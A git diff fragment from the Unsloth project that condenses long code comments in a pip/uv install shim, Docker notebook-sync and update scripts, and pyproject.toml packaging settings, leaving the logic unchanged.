if not os.path.isdir(path):
return None
@@ -573,9 +561,7 @@ def _filter_requirements_file(path, _depth = 0):
Returns (path_to_use, recorded_transformers_version, dropped_specs)."""
read_path = _resolve_read_path(path)
try:
- # utf-8-sig, not utf-8: a BOM would otherwise leave "\ufefftransformers==X" on
- # line 1, matching no handler, so a file whose ONLY protected pin is first
- # forwards unchanged. Both real tools strip it and honour the line.
+ # utf-8-sig: a BOM would hide a protected pin on line 1.
with open(read_path, encoding = "utf-8-sig") as f:
lines = f.readlines()
except OSError:
@@ -626,10 +612,7 @@ def _filter_requirements_file(path, _depth = 0):
v = _version_pin(classified)
if v and not recorded:
recorded = v
- # extras of the BAKED transformers are additive exactly as they are for
- # every _KEEP package below, and the sidecar only replaces the version:
- # dropping the whole token loses deepspeed/sentencepiece/... and still
- # reports ok. The pin is stripped, so this can only ADD.
+ # Extras of the baked transformers are additive; only the pin is stripped.
extras = (
_extras_only_target(spec)
if _is_installed("transformers") and not _UNINSTALLING
@@ -688,9 +671,7 @@ def _protected_constraints_file():
scope = _base_site_packages()
if not scope:
raise RuntimeError(f"could not locate the site-packages of {REAL['pip']}")
- # scoped, NOT a bare distributions(): see _base_site_packages. An activated
- # sidecar sits ahead of the venv on PYTHONPATH and would otherwise be pinned
- # here in place of the baked version.
+ # Scoped, not a bare distributions(): an active sidecar is ahead on PYTHONPATH.
dists = list(distributions(path = scope))
except Exception as exc:
raise SystemExit(
@@ -987,36 +968,15 @@ def _is_uv_pip_sync(argv):
return [tok for _, tok in _positionals(argv)][:2] == ["pip", "sync"]
-# Options that send the install somewhere OTHER than the venv this shim guards.
-# pip documents --target as "Install packages into <dir>" and --python as "Run pip
-# with the specified Python interpreter"; uv documents --python as "The Python
-# interpreter into which packages should be installed".
+# Options that install somewhere OTHER than the guarded venv.
_DEST_DIR_FLAGS = {"--target", "-t", "--prefix"}
-# --root is NOT a destination directory. pip documents it as "Install everything
-# relative to this alternate root directory" and applies it as a relocation PREFIX:
-# the computed scheme path is unchanged and then re-anchored under the root, so
-# `--root /` is the identity and still writes the venv's own site-packages. Measured:
-# `pip install --root / idna==3.6` put idna in the venv's purelib, while a real root
-# relocated it under that directory and left the venv untouched.
+# --root is a relocation prefix, not a destination: `--root /` still writes the venv.
_DEST_ROOT_FLAGS = {"--root"}
_DEST_PYTHON_FLAGS = {"--python", "-p"}
-# pip honours PIP_<OPTION> for every option and uv documents --python as
-# [env: UV_PYTHON=]; both redirect with nothing on the command line at all.
-# Per TOOL, because each ignores the other's variables and a bypass granted on a
-# variable the invoked tool never reads is the dangerous direction: the install lands
-# in the baked venv with no filtering at all. Measured against both CLIs: pip honours
-# PIP_TARGET, PIP_PREFIX, PIP_ROOT and PIP_PYTHON and ignores UV_PYTHON; uv honours
-# UV_PYTHON, ignores every PIP_ variable, and has no environment form for its
-# --target/--prefix at all.
-# pip options that carry INSTALL TARGETS rather than a destination, in their
-# environment spelling. Both are space separated when they name more than one.
-# Flags that supply install TARGETS the shim cannot read. --group names a PEP 735
-# table inside a pyproject.toml (pip 25.3+ and uv), --requirements-from-script a PEP
-# 723 header inside a script (pip 26+). Measured: both are consumed for real, and a
-# group holding `unsloth @ file:///checkout` at the baked version installs over it
-# because pip reinstalls a same-version LOCAL PATH or sdist. --upgrade-group is NOT
-# here: `uv pip install` rejects it outright and pip has no such option, so it can
-# never supply a target on the command lines this shim sees.
+# Per tool: pip honours PIP_TARGET/PREFIX/ROOT/PYTHON, uv only UV_PYTHON. A bypass granted
+# on a variable the tool ignores would install unfiltered.
+# --group (PEP 735) and --requirements-from-script (PEP 723) supply targets the shim
+# cannot read. --upgrade-group is rejected by both tools.
_UNINSPECTABLE_TARGET_FLAGS = {"--group", "--requirements-from-script"}
_PIP_TARGET_ENV = {"PIP_REQUIREMENT": "-r", "PIP_EDITABLE": "-e"}
_DEST_DIR_ENV = {"pip": ("PIP_TARGET", "PIP_PREFIX"), "uv": ()}
@@ -1156,14 +1116,8 @@ def main():
"same requirements with `-r <file>`, which IS filtered."
)
- # pip reads PIP_<OPTION> for every option, so a requirements file or an editable
- # target can arrive with nothing on the command line to show for it. The scan below
- # only walks argv, so `PIP_REQUIREMENT=/tmp/r.txt pip install packaging` filtered
- # `packaging` and handed the real pip an uninspected file. The injected constraints
- # do not save it: a same-version editable or direct reference resolves cleanly.
- # Fold them in as ordinary flags so they go through the same filtering, and clear
- # them from the child so the real tool cannot consume them a second time. uv has no
- # environment form for --requirements, so this is pip-only.
+ # pip reads PIP_<OPTION> for every option, so fold PIP_REQUIREMENT etc. into argv for
+ # filtering and clear them from the child. uv has no env form for --requirements.
env_tail = []
child_env = None
if tool == "pip":
@@ -1333,12 +1287,8 @@ def main():
with open(MARKER, "w") as f:
f.write(recorded)
except OSError as exc:
- # do NOT abort: nothing has been installed or mis-forwarded, and the baked
- # transformers still works, so hard-failing a notebook cell over an
- # unwritable path the user cannot act on is the worse trade. But do not
- # report success either: transformers is already out of the real arguments,
- # so staying silent leaves the cell claiming the pin was honoured while the
- # model cells import the baked version.
+ # Do not abort, but do not report success: the pin was dropped and the baked version
+ # will be imported.
print(
f"[unsloth-nb] WARNING: could not record the requested "
f"transformers=={recorded} at {MARKER} ({exc}); the sidecar will NOT "
diff --git a/docker/unsloth_run.py b/docker/unsloth_run.py
index 9c25c0be65d..bd813981e61 100644
--- a/docker/unsloth_run.py
+++ b/docker/unsloth_run.py
@@ -24,10 +24,7 @@ if compat is not None:
_install_lines = compat._install_lines
_pin_from = compat.pin_from
else:
- # compat is also what turns a scan result into a sidecar, so with it gone there is
- # nothing either half of the scan could select (see main, where sidecar stays None
- # and the tier lookup is skipped). Degrade to no scan rather than keep a second
- # copy of the rules here, which is the drift this move exists to prevent.
+ # Without compat nothing could select a sidecar, so skip scanning rather than duplicate it.
_PIN_RE = _INSTALL_RE = None
_strip_comment = _live_source = _install_lines = _pin_from = None
@@ -63,9 +60,7 @@ def _scan(nb):
continue
src = _live_source("".join(cell.get("source", [])))
if pin is None:
- # the shared helper, not _PIN_RE directly: the pattern now matches any
- # requirement name and the PEP 503 comparison that picks transformers out
- # of it lives with it, so reading the match here would drop that half
+ # The shared helper: it also does the PEP 503 name comparison.
pin = _pin_from(src)
if model is None:
m = _MODEL_RE.search(src) or _MODEL_NAME_RE.search(src)
diff --git a/docker/unsloth_studio_update.sh b/docker/unsloth_studio_update.sh
index 4c0971059d0..bb180c6f99e 100755
--- a/docker/unsloth_studio_update.sh
+++ b/docker/unsloth_studio_update.sh
@@ -148,11 +148,8 @@ if ! flock -n 9; then
exit 1
fi
-# Leftovers of a run killed outright (no trap ran): .src-prev.* and .src-update.* beside
-# src. The kept package record is the one marker of an uncommitted update: with it, a
-# previous tree goes back over the unverified one and the packages are reinstalled;
-# without it a previous tree is scratch. No src at all means the kill landed between
-# the two moves, and the lone previous tree goes back either way.
+# Leftovers of a killed run: with the kept record, restore the previous tree and
+# packages; without it, previous trees are scratch. No src means restore either way.
shopt -s nullglob
_prev=("$SRC_DIR"/.src-prev.*)
if [ "${#_prev[@]}" = "1" ] && [ -d "${_prev[0]}" ]; then
diff --git a/docker/unsloth_sync_notebooks.sh b/docker/unsloth_sync_notebooks.sh
index 2ef8cef1bee..db5788f1d13 100644
--- a/docker/unsloth_sync_notebooks.sh
+++ b/docker/unsloth_sync_notebooks.sh
@@ -59,11 +59,8 @@ middle_unchanged() {
hash_of() { sha256sum "$1" 2>/dev/null | cut -d' ' -f1; }
-# Give a file that has no destination to inherit from the mode a plain write would
-# have produced and the OWNER of the directory it lands in. Under -v $PWD:/workspace
-# that directory is the host user's, so without this the clone's or template's
-# root:root 0644 is published and they cannot edit their own notebook. This is the
-# new-file branch of unsloth_run.py's _stage_metadata, which the shell twin lacked.
+# Give a new file the default mode and the OWNER of its directory, so a host-owned bind
+# mount does not get root:root notebooks.
own_like_dir() {
chmod "$(printf '%03o' "$(( 0666 & ~0$(umask) ))")" "$1" 2>/dev/null || true
chown --reference="$2" "$1" 2>/dev/null || true
@@ -90,9 +87,7 @@ cp_keep_meta() {
if [ -e "$2" ]; then cp "$1" "$2" 2>/dev/null; else cp -a "$1" "$2" 2>/dev/null; fi
}
-# mkdir(2) gives the new directory the CALLER's uid and only setgid carries down, so
-# a new category folder would land root:root. Anchored on the nearest existing
-# ancestor, not $DEST, because a bind mount can nest.
+# mkdir gives the caller's uid; anchor ownership on the nearest existing ancestor.
mkdir_keep_owner() {
local dir="$1" anchor parent rest cur part
local -a parts
@@ -116,15 +111,12 @@ mkdir_keep_owner() {
return 0
}
-# Created through the helper, not a plain `mkdir -p` earlier: $DEST is the anchor
-# every later mkdir_keep_owner and own_like_dir inherits from, so a root:root root
-# under a host-owned bind mount publishes root ownership down the whole tree.
+# Through the helper: $DEST is the ownership anchor for everything below.
mkdir_keep_owner "$DEST"
[ -d "$DEST" ] || exit 0
-# The refresh runs in a DETACHED child, so two copies mutate $DEST and $STATE at once
-# by design and a notebook the child copied while the parent hashed it is permanently
-# marked user-edited. One lock per invocation also fixes the ORDER.
+# The refresh runs in a detached child, so both copies mutate $DEST/$STATE; one lock
+# per invocation serialises them.
_LOCK_HELD=0
lock_acquire() {
[ "$_LOCK_HELD" = "1" ] && return 0
@@ -190,9 +182,7 @@ trap 'finalize; lock_release' EXIT
lock_acquire
-# Undo what section 1b restored when its state rewrite is abandoned. The old $STATE
-# is kept in that case and describes the tree as it was BEFORE these files came back,
-# so leaving them on disk would contradict it.
+# Undo section 1b's restores when its state rewrite is abandoned.
undo_restores() {
[ "${#RESTORED_PATHS[@]}" -gt 0 ] || return 0
for _p in "${RESTORED_PATHS[@]}"; do
@@ -215,24 +205,16 @@ record_state() {
mv "$STATE.tmp" "$STATE" 2>/dev/null || rm -f "$STATE.tmp"
}
-# 1) First-boot populate. Re-runs when the last one left files behind: a file with no
-# state entry is never restored by 1b, and stamping the marker anyway makes 2) exit
-# early too. Process substitution, not a pipeline, so the counter survives the loop.
+# 1) First-boot populate; re-runs when the last one left files behind. Process
+# substitution so the counter survives the loop.
if [ ! -f "$STATE" ] || [ -f "$PARTIAL" ]; then
- # Same leftover as the refresh child clears below: a run killed between the
- # truncate and the mv leaves $STATE.tmp behind, and when that run was a different
- # uid (root once, then --user) the truncate here cannot empty it. Without the
- # unlink the appends below fail one by one while the loop keeps going, and the mv
+ # Unlink a leftover $STATE.tmp from a different uid, or appends fail and a foreign file
+ # is published as our state.
# -- which needs write on $DEST, not on the file -- then publishes the FOREIGN
- # file as our state: every notebook this run copied is missing from it, so run 2
- # reads them all as user edits and never refreshes them again, and the commit
- # marker is stamped anyway because no copy failed.
rm -f "$STATE.tmp" 2>/dev/null || true
populate_failed=0
- # Set only when the merge loop below loses a record. Those are the sole records for
- # notebooks that exist upstream but not in the baked template, so nothing can
- # re-derive them; a failed COPY, by contrast, is re-walked from the template on the
- # next boot, which is why that case still publishes.
+ # Set when the merge loop loses a record; those are the only records for upstream-only
+ # notebooks.
merge_lost=0
stage_ok=1
if ! : > "$STATE.tmp" 2>/dev/null; then
@@ -253,12 +235,8 @@ if [ ! -f "$STATE" ] || [ -f "$PARTIAL" ]; then
echo "[unsloth-nb] kept existing user file: $DEST/$rel"
continue
fi
- # same bytes already there, so copying would only stamp root:root on it
- # Every append is checked: staging the temp file proves DEST was writable
- # once, not that it stays so. A quota or ENOSPC that lands here leaves the
- # notebook on disk with no record, and an unrecorded file is read as a user
- # edit and never refreshed again. Count it exactly like a failed copy, so
- # the marker stays off and the next start retries.
+ # Same bytes already there, so copying would only stamp root:root on it.
+ # Check every append: an unrecorded file reads as a user edit forever.
printf '%s %s\n' "$(hash_of "$DEST/$rel")" "$rel" >> "$STATE.tmp" \
|| populate_failed=$((populate_failed + 1))
continue
@@ -272,17 +250,8 @@ if [ ! -f "$STATE" ] || [ -f "$PARTIAL" ]; then
populate_failed=$((populate_failed + 1))
fi
done < <(cd "$TEMPLATE" && find . -type f -print0)
- # A RETRY must not throw away what we already manage. Between the failed populate
- # and this run the refresh published newer bytes for template files and added
- # notebooks that exist only upstream, and the loop above sees both as user files:
- # the newer ones differ from the template so they hit the "kept existing user
- # file" branch, and the upstream-only ones are never visited at all. Keeping only
- # this loop's records hands all of them to the user permanently, while the commit
- # marker below is stamped anyway, so it looks converged.
- # -r, not just -f. Without set -e a failed redirect below simply skips the loop,
- # so an unreadable $STATE silently contributes NO preserved records and the merged
- # state is published without them. These are the only records for notebooks that
- # exist upstream but not in the baked template, and nothing can re-derive them.
+ # A retry must keep records the refresh already manages. -r, not just -f: an unreadable
+ # $STATE would silently contribute nothing.
if [ "$stage_ok" = 1 ] && [ -f "$STATE" ] && [ ! -r "$STATE" ]; then
echo "[unsloth-nb] the sync state in $DEST is unreadable; leaving it alone rather than republishing it without the records it holds"
stage_ok=0
@@ -304,13 +273,7 @@ if [ ! -f "$STATE" ] || [ -f "$PARTIAL" ]; then
done < "$STATE"
unset POPULATED
fi
- # Only publish a COMPLETE state. Section 1b already states this rule and follows
- # it; this sibling published the short one and merely withheld the marker, which is
- # not equivalent here: the merge loop above is the only source of records for
- # notebooks that exist upstream but not in the baked template, and unlike the
- # refresh child there is no rollback to compensate. Discarding is recoverable
- # instead -- the old state keeps those records, and with no old state at all the
- # next boot re-runs this populate from the template.
+ # Only publish a COMPLETE state; discarding is recoverable, a short state is not.
if [ "$stage_ok" = 1 ] && [ "$merge_lost" -eq 0 ]; then
mv "$STATE.tmp" "$STATE" 2>/dev/null || rm -f "$STATE.tmp"
else
@@ -333,41 +296,23 @@ fi
if [ -f "$STATE" ] && [ "${UNSLOTH_KEEP_DELETED_NOTEBOOKS:-0}" != "1" ]; then
restored=0
downgraded=0
- # Beside $STATE, exactly like the other two writers, and for the reasons bee9e5a52
- # gives for the refresh child. mktemp puts it in /tmp, which in the shipped image
- # is the container overlay while $DEST is a bind mount, so the publish below was a
- # cross-device copy that can leave a HALF-WRITTEN state behind rather than an
- # atomic same-directory rename. mktemp also creates 0600 owned by whoever booted,
- # so this was the one writer that re-owned and downgraded $STATE, undoing what
- # own_like_dir and mkdir_keep_owner exist to preserve: a root boot then left it
- # unreadable to a later --user boot.
+ # Beside $STATE, not /tmp: an atomic same-dir rename that keeps $STATE's owner and mode.
RS_TMP="$STATE.tmp"
- # Same class as the populate loop: an unchecked append publishes a state that is
- # missing records for notebooks still on disk, which hands them to the user for
- # good. Here the old $STATE is still valid, so abandon the rewrite rather than
- # publish a truncated one.
+ # Abandon the rewrite on a failed append; the old $STATE is still valid.
rs_ok=1
- # Everything this loop puts back, so a doomed rewrite can be undone. These files
- # were ABSENT before the loop ran, so removing them restores the exact prior state
- # rather than discarding anything a user has.
+ # Files this loop restores (previously absent), so a doomed rewrite can be undone.
RESTORED_PATHS=()
rm -f "$RS_TMP" 2>/dev/null || true
if ! : > "$RS_TMP" 2>/dev/null; then
rs_ok=0
fi
- # An unreadable $STATE must not quietly become an EMPTY one. There is no set -e, so
- # a failed redirect below just skips the loop body: rs_ok stays 1 and the mv
- # publishes a zero-line state over a valid one, stranding every notebook it
- # described while still reporting success.
+ # An unreadable $STATE must not become an EMPTY one (no set -e).
if [ "$rs_ok" = 1 ] && [ ! -r "$STATE" ]; then
echo "[unsloth-nb] the sync state in $DEST is unreadable; leaving it alone rather than replacing it with an empty one"
rs_ok=0
fi
[ "$rs_ok" = 1 ] && while IFS= read -r line; do
- # re-tested INSIDE the loop, like the populate loop's `stage_ok || continue`.
- # Evaluating it once let a failed append keep restoring files the state would
- # never record, leaving them at BAKED content while the kept state holds
- # post-refresh hashes: the next refresh then reads every one as a user edit.
+ # Re-tested inside the loop so a failed append stops further restores.
[ "$rs_ok" = 1 ] || continue
h="${line%% *}"; rel="${line#* }"
if [ -n "$rel" ] && [ "$rel" != "$line" ] \
@@ -380,10 +325,7 @@ if [ -f "$STATE" ] && [ "${UNSLOTH_KEEP_DELETED_NOTEBOOKS:-0}" != "1" ]; then
new_h="$(hash_of "$DEST/$rel")"
printf '%s %s\n' "$new_h" "$rel" >> "$RS_TMP" || rs_ok=0
restored=$((restored + 1))
- # The record was ahead of the baked copy, so this notebook has just
- # gone BACKWARDS to whatever the image shipped. The refresh child
- # exits on remote == last, so leaving the marker alone would strand
- # it there until upstream happened to commit again.
+ # The restored copy is older than the record, so drop the marker to force a refresh.
[ "$new_h" != "$h" ] && downgraded=$((downgraded + 1))
continue
fi
@@ -391,9 +333,7 @@ if [ -f "$STATE" ] && [ "${UNSLOTH_KEEP_DELETED_NOTEBOOKS:-0}" != "1" ]; then
printf '%s\n' "$line" >> "$RS_TMP" || rs_ok=0
done < "$STATE"
if [ "$rs_ok" = 1 ]; then
- # loud, and drop the marker, exactly like the sibling branch three lines down:
- # a silent failure here left the "restored N" success message printing over a
- # state that was never published
+ # Loud, and drop the marker, like the sibling branch below.
mv "$RS_TMP" "$STATE" 2>/dev/null || {
echo "[unsloth-nb] the sync state could not be published in $DEST; keeping the previous state and dropping the sync marker so the next start retries"
rm -f "$RS_TMP"
@@ -406,9 +346,7 @@ if [ -f "$STATE" ] && [ "${UNSLOTH_KEEP_DELETED_NOTEBOOKS:-0}" != "1" ]; then
undo_restores
rm -f "$SYNCED" 2>/dev/null || true
fi
- # Only when one actually went backwards: dropping the marker on every restore
- # would make an ordinary delete cost a full clone even when the baked copy was
- # already current, and the marker is re-stamped as soon as the refresh succeeds.
+ # Only when one went backwards, or every delete would cost a full clone.
if [ "$downgraded" -gt 0 ]; then
rm -f "$SYNCED" 2>/dev/null || true
fi
@@ -443,12 +381,7 @@ if ! timeout "$TIMEOUT" git clone -q --depth 1 "$REMOTE" "$TMP" 2>/dev/null; the
rm -rf "$TMP"; exit 0 # network died mid-way: keep what we have
fi
-# The refresh child reads the state the same way, and this is the copy that runs in
-# the default configuration. Without set -e the redirect below just fails, LAST stays
-# empty, every notebook is counted `kept` rather than recorded, and TMPSTATE publishes
-# EMPTY over a valid state with failed still 0, so the marker is stamped. Section 1b's
-# own recovery drops $SYNCED, which guarantees this child does not exit early and
-# walks straight into it.
+# An unreadable $STATE must not publish an EMPTY state and stamp the marker.
if [ -f "$STATE" ] && [ ! -r "$STATE" ]; then
echo "[unsloth-nb] the sync state in $DEST is unreadable; skipping the refresh rather than republishing it empty"
rm -rf "$TMP"
@@ -462,25 +395,10 @@ if [ -f "$STATE" ]; then
done < "$STATE"
fi
-# Beside $STATE, like the two writers above, NOT in /tmp. A sibling makes the publish
-# an atomic same-directory rename that cannot half-succeed, and it makes the state fail
-# with the notebooks instead of independently of them: a $DEST that is full or
-# read-only fails the notebook writes too, which already holds the marker back. From
-# /tmp the move was a cross-device copy that could fail on its own, after the notebooks
-# had landed, and no marker check can undo that -- the stale hashes then read every
-# freshly written notebook as user-edited for good.
+# Beside $STATE, not /tmp, so the publish is an atomic rename that fails with the notebooks.
TMPSTATE="$STATE.tmp"
-# No /tmp fallback: it would fire in exactly the case the sibling exists to prevent.
-# $DEST unwritable while a notebook subdir still is publishes the new bytes and then
-# cannot record them, and run two reads every one of them as a user edit, which is
-# `kept`, not `failed`, so the marker IS stamped and they are stranded for good.
-# Nothing has been published yet here, so bailing costs only this cycle. Same shape as
-# record_state's abort above and the mid-clone bail below.
-# Clear a leftover first. A run killed between the truncate and the mv leaves one
-# behind, and if that run was a different uid (root once, then --user) it cannot be
-# truncated even though $DEST is writable, which would make the bail below permanent.
-# Unlinking needs write on $DEST, which the real bail case does not have, so this
-# cannot weaken the guard.
+# No /tmp fallback: it would record nothing when $DEST is unwritable. Clear a leftover
+# from a different uid first.
rm -f "$TMPSTATE" 2>/dev/null || true
if ! : > "$TMPSTATE" 2>/dev/null; then
echo "[unsloth-nb] the sync state could not be staged in $DEST; leaving the sync marker so the next start retries"
@@ -488,24 +406,14 @@ if ! : > "$TMPSTATE" 2>/dev/null; then
exit 0
fi
updated=0; kept=0; unchanged=0; failed=0
-# Every append to the staged state must be checked. Losing a record here (ENOSPC,
-# quota) while `failed` stays 0 publishes a truncated state AND advances the marker,
-# which is exactly the wedge described at the publish step below: the next boot exits
-# on remote == last, and once upstream moves, every notebook whose hash we dropped
-# reads as user-edited and is kept forever. Counting it as a failure reuses the retry
-# path the copy failures already take. The three sites that already increment `failed`
-# are left alone: their gate fires regardless of whether the append landed.
+# Check every append: a lost record with `failed` at 0 publishes a truncated state and
+# advances the marker, stranding notebooks as user edits.
record_tmpstate() {
printf '%s %s\n' "$1" "$2" >> "$TMPSTATE"
}
-# A record we could not write cannot be left alone, whatever else went wrong first.
-# Counting the failure only withholds the marker for THIS run: the truncated state is
-# published regardless, so the next refresh finds no entry, reads the file as a user
-# edit, keeps it, sees nothing fail and stamps the marker over it. Removing our own
-# copy is the only recovery that does not need the disk space that just ran out, and
-# it is safe exactly while the file still hashes to what we last published. A
-# user-edited file is left alone, which is the outcome it would have had anyway.
+# Remove our own unrecordable copy (only while it still has our hash); otherwise the next
+# refresh reads it as a user edit.
drop_unrecordable() {
local _d="$DEST/$1"
[ -e "$_d" ] || return 0
@@ -524,14 +432,8 @@ while IFS= read -r -d '' f; do
if [ -e "$dst" ]; then
rec="${LAST[$rel]:-}"
if [ -z "$rec" ]; then
- # An unrecorded file that is byte-identical to the clone is not a user
- # edit. It is one WE published and then failed to record, which is what
- # the rollback above leaves behind whenever it cannot unlink: a single
- # FILE bind mount gives EBUSY there exactly as it does for the rename at
- # line 562. Without this the file stays unrecorded for good, so the next
- # refresh keeps reading it as a user edit and stamps the marker over it.
- # Adopting the record costs nothing, because the bytes on disk already
- # ARE the bytes we would publish, so nothing of the user's can be lost.
+ # An unrecorded file byte-identical to the clone is ours (e.g. EBUSY on a file bind mount);
+ # adopt its record.
adopted="$(hash_of "$dst")"
if [ -n "$adopted" ] && [ "$adopted" = "$(hash_of "$f")" ]; then
record_tmpstate "$adopted" "$rel" || failed=$((failed + 1))
@@ -579,16 +481,8 @@ while IFS= read -r -d '' f; do
updated=$((updated + 1))
else
failed=$((failed + 1))
- # PUBLISHED but not recordable, the one combination that cannot be left
- # alone. Withholding the marker is not enough: the truncated state is
- # still published below, so the NEXT refresh reads this file as a user
- # edit, keeps it, finds nothing failed and stamps the marker over it --
- # unmanaged for good. Discarding the whole staged state instead would
- # strand every notebook this run DID record, which is worse.
- # We only get here when $dst was absent or hashed exactly to our own
- # previous record, so it holds no user edit and removing it costs
- # nothing: the next refresh re-copies and re-records it. The unlink
- # also gives back the space that just ran out.
+ # Published but not recordable: remove it (it held no user edit) so the next refresh
+ # re-copies and re-records it.
rm -f "$dst" 2>/dev/null || true
fi
else
@@ -603,18 +497,10 @@ while IFS= read -r -d '' f; do
fi
done < <(find "$TMP" -type f -print0)
-# Upstream deleted or renamed it. The loop above only walks the CLONE, so without
-# this the copy we published stays on disk while its record is dropped: the next
-# refresh reads it as user-owned, and unsloth_nb_view.py files it under "Other
-# Notebooks" for good. Over the last year upstream deleted 10 and renamed 7 nb/
-# notebooks, so these accumulate. Only a file that still hashes to what WE wrote is
-# removed, so an edited notebook stays; it merely stops being managed, which it had
-# already stopped being.
+# Upstream deleted or renamed it: remove our copy only if it still has our hash.
removed=0
if [ "${#LAST[@]}" -gt 0 ]; then
- # A case-only rename upstream looks like a deletion here, because the clone is on
- # a case-sensitive filesystem while $DEST may be a macOS or Windows bind mount
- # where the old path resolves to the file just published.
+ # A case-only rename looks like a deletion on a case-insensitive bind mount.
declare -A CLONED_LOWER=()
while IFS= read -r -d '' f; do
p="${f#"$TMP"/}"
@@ -629,18 +515,8 @@ if [ "${#LAST[@]}" -gt 0 ]; then
[ -n "${LAST[$rel]}" ] || continue
[ "$(hash_of "$dst")" = "${LAST[$rel]}" ] || continue
if [ "${UNSLOTH_KEEP_REMOVED_NOTEBOOKS:-0}" = "1" ]; then
- # Keep the record WITH the file, exactly as UNSLOTH_KEEP_DELETED_NOTEBOOKS
- # does above. Skipping the whole block dropped the record of a file it had
- # deliberately kept, so the next refresh read it as a user edit -- and
- # turning the option back off never recovered it, because by then it is no
- # longer in LAST.
- # and do NOT drop it if that append fails. Every other caller can drop a
- # file it could not record because the clone still holds a copy to
- # re-publish next start. This one cannot: upstream DELETED it, so the
- # file on disk is the last copy in existence and removing it destroys
- # exactly what the option was set to preserve, unrecoverably -- not by a
- # retry, not by turning the option back off. Counting it failed holds the
- # marker back so the next start retries the record.
+ # Keep the record with the kept file, and never drop the file on a failed append: upstream
+ # deleted it, so this is the last copy.
record_tmpstate "${LAST[$rel]}" "$rel" || failed=$((failed + 1))
continue
fi
@@ -650,12 +526,7 @@ if [ "${#LAST[@]}" -gt 0 ]; then
d="$(dirname "$dst")"
[ "$d" != "$DEST" ] && rmdir "$d" 2>/dev/null
else
- # A writable single-FILE bind mount cannot be unlinked (EBUSY), the same
- # case the publish above has to work around. The file stays, so its record
- # has to stay with it: dropping it here would leave the stale copy on disk
- # with nothing claiming it, and the next refresh would read it as
- # user-owned and never retry. Counting it failed also holds the sync
- # marker back, which is what makes the retry happen at all.
+ # A file bind mount cannot be unlinked (EBUSY), so its record stays with it.
record_tmpstate "${LAST[$rel]}" "$rel" || drop_unrecordable "$rel"
failed=$((failed + 1))
fi
@@ -663,18 +534,12 @@ if [ "${#LAST[@]}" -gt 0 ]; then
unset CLONED_LOWER
fi
-# The state has to land before the marker does, so a failed publish holds the marker
-# back like any other write failure. Stamping over it wedges the tree for good: the
-# next boot exits on remote == last, and once upstream finally moves, the stale hashes
-# no longer match the notebooks this run just wrote, so every one of them reads as
-# user-edited and is kept forever.
+# The state must land before the marker, or stale hashes strand notebooks as user edits.
published=1
mv "$TMPSTATE" "$STATE" 2>/dev/null || { rm -f "$TMPSTATE"; published=0; }
# recording the commit after a failure makes the next boot exit on remote == last
if [ "$failed" -eq 0 ] && [ "$published" -eq 1 ]; then
- # Renamed into place like the state above: a root boot leaves the marker root-owned
- # 0644, so a later --user boot could publish the state but not truncate the marker,
- # and every start after that re-synced every notebook while reporting success.
+ # Renamed into place so a root-owned marker cannot block a later --user boot.
{ printf '%s\n' "$remote" > "$SYNCED.tmp" && mv -f "$SYNCED.tmp" "$SYNCED"; } 2>/dev/null || {
rm -f "$SYNCED.tmp" 2>/dev/null || true
echo "[unsloth-nb] the sync marker could not be written in $DEST; the next start will refresh again"
diff --git a/pyproject.toml b/pyproject.toml
index ccac6e69f67..77a9b68d25b 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -37,11 +37,9 @@ dependencies = [
"json5>=0.9.25",
"nest-asyncio",
"huggingface-hub>=0.34.0",
- # Every CLI command imports studio.backend.*, which reaches structlog at
- # module level. The rest of the server stack lives in the studio extra.
+ # CLI commands import studio.backend.*, which imports structlog at module level.
"structlog>=24.1.0",
- # unsloth_cli/__init__.py reaches click via commands/start.py, so every
- # command needs it. typer supplied it until 0.27 dropped the dependency.
+ # unsloth_cli imports click via commands/start.py; typer stopped supplying it in 0.27.
"click>=8.0",
# CA trust store floor: 2026.10.19 removes the distrusted emSign ECC Root CA - G3, and an
# existing older certifi is upgraded in place by pip install unsloth.
@@ -77,16 +75,14 @@ studio = [
"frontend/*.yaml",
"frontend/.git*",
"backend/requirements/**/*",
- # Vendored truststore and laya files.
"backend/vendor/**/*",
"backend/integrations/blender/*.py",
"backend/plugins/**/*",
"backend/assets/**/*.jinja",
"backend/assets/**/*.html",
- # Swagger UI / ReDoc, served from this origin instead of a CDN. Without these the
- # /docs and /redoc pages render blank in an installed Unsloth.
+ # Served locally instead of from a CDN; without them /docs and /redoc render blank.
"backend/assets/docs_ui/*",
- # Gate verdicts the auto ladder reads: missing from the wheel, nvfp4 silently leaves the ladder.
+ # Gate verdicts the auto ladder reads: if missing from the wheel, nvfp4 silently drops out.
"backend/core/inference/nvfp4_gate_record.json",
"backend/core/data_recipe/oxc-validator/*.json",
"backend/core/data_recipe/oxc-validator/*.mjs",
@@ -109,32 +105,13 @@ exclude = [
"*.node_modules.*",
]
-# Excluding a tests package above is not enough: include-package-data re-ships its
-# files as data of the surviving parent (pypa/setuptools#3260), and only
-# exclude-package-data outranks that.
+# include-package-data re-ships excluded test packages as parent data (pypa/setuptools#3260);
+# only exclude-package-data outranks it.
[tool.setuptools.exclude-package-data]
"studio.backend" = ["tests/*"]
"studio.backend.hub" = ["tests/*"]
-# Same mechanism, applied to the frontend source tree. package-data above names
-# `frontend/dist/**/*` and nothing else under frontend/, but include-package-data
-# plus setuptools-scm's git file finder ships every tracked file under studio/
-# anyway, so the wheel carried the whole pre-build tree:
-#
-# frontend/public 31.1MB compressed, and every one of its 99 files is already
-# in frontend/dist byte for byte, because Vite copies public/
-# into dist/ during `npm run build`. Pure duplication.
-# frontend/src 4.0MB of .ts/.tsx that nothing imports at runtime.
-#
-# Neither path is read from an installed Unsloth: run.py mounts frontend/dist
-# (_DEFAULT_FRONTEND_PATH) and the only `frontend/public` references in Python are
-# the remote raw.githubusercontent URLs in backend/colab.py. The desktop app is
-# unaffected either way, since release-desktop.yml builds both the frontend and
-# Tauri from a git checkout, not from this wheel.
-#
-# src-tauri is the desktop crate: Rust sources plus NSIS/AppImage/dmg installer
-# branding, all consumed by `tauri build` in CI from the checkout. icons/ is the
-# exception and stays, because install.sh reads icon.icns and icon.png back out of
-# site-packages/studio/src-tauri/icons to build the macOS and Linux launchers.
+# Same for the frontend source tree: setuptools-scm ships every tracked file, but only
+# frontend/dist is read at runtime. Keep src-tauri/icons: install.sh reads icons from it.
"studio" = [
"frontend/public/**",
"frontend/src/**",
@@ -152,8 +129,7 @@ exclude = [
]
[project.optional-dependencies]
-# Unsloth's server stack, mirroring studio/backend/requirements/studio.txt.
-# test_studio_extra_matches_requirements.py catches drift.
+# Mirrors studio/backend/requirements/studio.txt; test_studio_extra_matches_requirements.py checks drift.
studio = [
